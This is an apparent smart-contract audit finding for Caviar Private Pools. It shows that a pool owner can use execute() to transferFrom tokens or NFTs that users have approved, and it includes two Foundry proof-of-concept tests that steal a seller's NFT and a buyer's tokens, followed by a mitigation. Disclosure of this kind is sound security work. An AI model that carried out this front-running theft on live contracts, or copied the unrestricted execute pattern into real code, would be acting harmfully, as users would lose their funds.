Caviar Private Pools - Noro's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L459

Vulnerability details

Impact

To interact with a Private Pool a user need to approve it to transfer tokens on his behalf,

• ERC20 base tokens in case of buying NFTs and wants to pay with base token or paying change fee, or a flash loan fee.
• ERC721 in case of selling or changing his NFTs . After a user calls approve on ERC20 or ERC721 and before he calls the Private Pool end-user function, the Private Pool owner can call privatePool.execute(address target, bytes memory data), (target is the base token or NFT contract address and data is transferFrom function in ERC20 or ERC721 with parameters) and transfer the tokens to his account, and consequently user lost his funds and will not receive his due .

Proof of Concept

• Here is an example where Private Pool owner steal user NFTs :

    PrivatePool public privatePool;

    address baseToken = address(0);
    address nft = address(milady);
    uint128 virtualBaseTokenReserves = 100e18;
    uint128 virtualNftReserves = 5e18;
    uint56 changeFee = 123908;
    uint16 feeRate = 100;
    bytes32 merkleRoot = bytes32(0);

    IStolenNftOracle.Message[] stolenNftProofs;
    uint256[] tokenIds;
    uint256[] tokenWeights;

    PrivatePool.MerkleMultiProof proofs;
    function test_FrontRunUserSell() public {
        // arrange

        address poolOwner = address(uint160(uint256(keccak256(abi.encodePacked("poolOwner")))));
        address seller = address(uint160(uint256(keccak256(abi.encodePacked("seller")))));

        vm.label(poolOwner, "PoolOwner");
        vm.label(seller, "seller");

        privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        privatePool.initialize(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            generateMerkleRoot(),
            true,
            true
        );

        // Set poolOwner as the owner of the pool
        vm.mockCall(
            address(factory),
            abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)),
            abi.encode(address(poolOwner))
        );

        milady.mint(seller, 6);
        tokenIds.push(6);
        tokenWeights.push(2.7e18);
        proofs = generateMerkleProofs(tokenIds, tokenWeights);

        vm.startPrank(seller);
        milady.approve(address(privatePool), 6); // seller approve the pool to transfer the NFT
        vm.stopPrank();

        // the owner calls execute with data
        vm.startPrank(poolOwner);
        bytes memory data =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", address(seller), address(poolOwner), 6);

        privatePool.execute(address(milady), data); // execute calls milady transferFrom to transfer the token to
            // poolOwner account
        vm.stopPrank();

        vm.startPrank(seller);
        vm.expectRevert("WRONG_FROM"); // sell reverts because the seller is no longer the owner of the token
        privatePool.sell(tokenIds, tokenWeights, proofs, stolenNftProofs);
        vm.stopPrank();
    }

• Here is an example where Private Pool owner steal user base Tokens :

    function test_FrontRunUserBuy() public {
        address poolOwner = address(uint160(uint256(keccak256(abi.encodePacked("poolOwner")))));
        address buyer = address(uint160(uint256(keccak256(abi.encodePacked("buyer")))));

        vm.label(poolOwner, "PoolOwner");
        vm.label(buyer, "buyer");

        // arrange
        privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        privatePool.initialize(
            address(shibaInu),
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false
        );
        factory.setProtocolFeeRate(1000); // 1%

        // Set poolOwner as the owner of the pool
        vm.mockCall(
            address(factory),
            abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)),
            abi.encode(address(poolOwner))
        );

        for (uint256 i = 10; i < 13; i++) {
            tokenIds.push(i);
            milady.mint(address(privatePool), i);
        }

        (uint256 netInputAmount,,) = privatePool.buyQuote(tokenIds.length * 1e18);
        deal(address(shibaInu), buyer, netInputAmount);

        vm.startPrank(buyer);
        shibaInu.approve(address(privatePool), netInputAmount); // buyer approve the pool to transfer netInputAmount of base Tokens
        vm.stopPrank();

        vm.startPrank(poolOwner);
        bytes memory data = abi.encodeWithSignature(
            "transferFrom(address,address,uint256)", address(buyer), address(poolOwner), netInputAmount
        );

        privatePool.execute(address(shibaInu), data); // execute calls milady transferFrom to transfer the token to poolOwner account
        vm.stopPrank();

        // act

        vm.startPrank(buyer);
        vm.expectRevert("TRANSFER_FROM_FAILED"); // buy reverts because the buyer is no longer the owner of the tokens
        privatePool.buy(tokenIds, tokenWeights, proofs);

        vm.stopPrank();
    }

PS : Tests inherit from Fixture.sol

Tools Used

Foundry

Recommended Mitigation Steps

In privatePool.execute(address target, bytes memory data) function check that target address is not nft or baseToken contract addresses .

function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
        require(target != nft && target != baseToken);
        // call the target with the value and data
        (bool success, bytes memory returnData) = target.call{value: msg.value}(data);

        // if the call succeeded return the return data
        if (success) return returnData;

        // if we got an error bubble up the error message
        if (returnData.length > 0) {
            // solhint-disable-next-line no-inline-assembly
            assembly {
                let returnData_size := mload(returnData)
                revert(add(32, returnData), returnData_size)
            }
        } else {
            revert();
        }
    }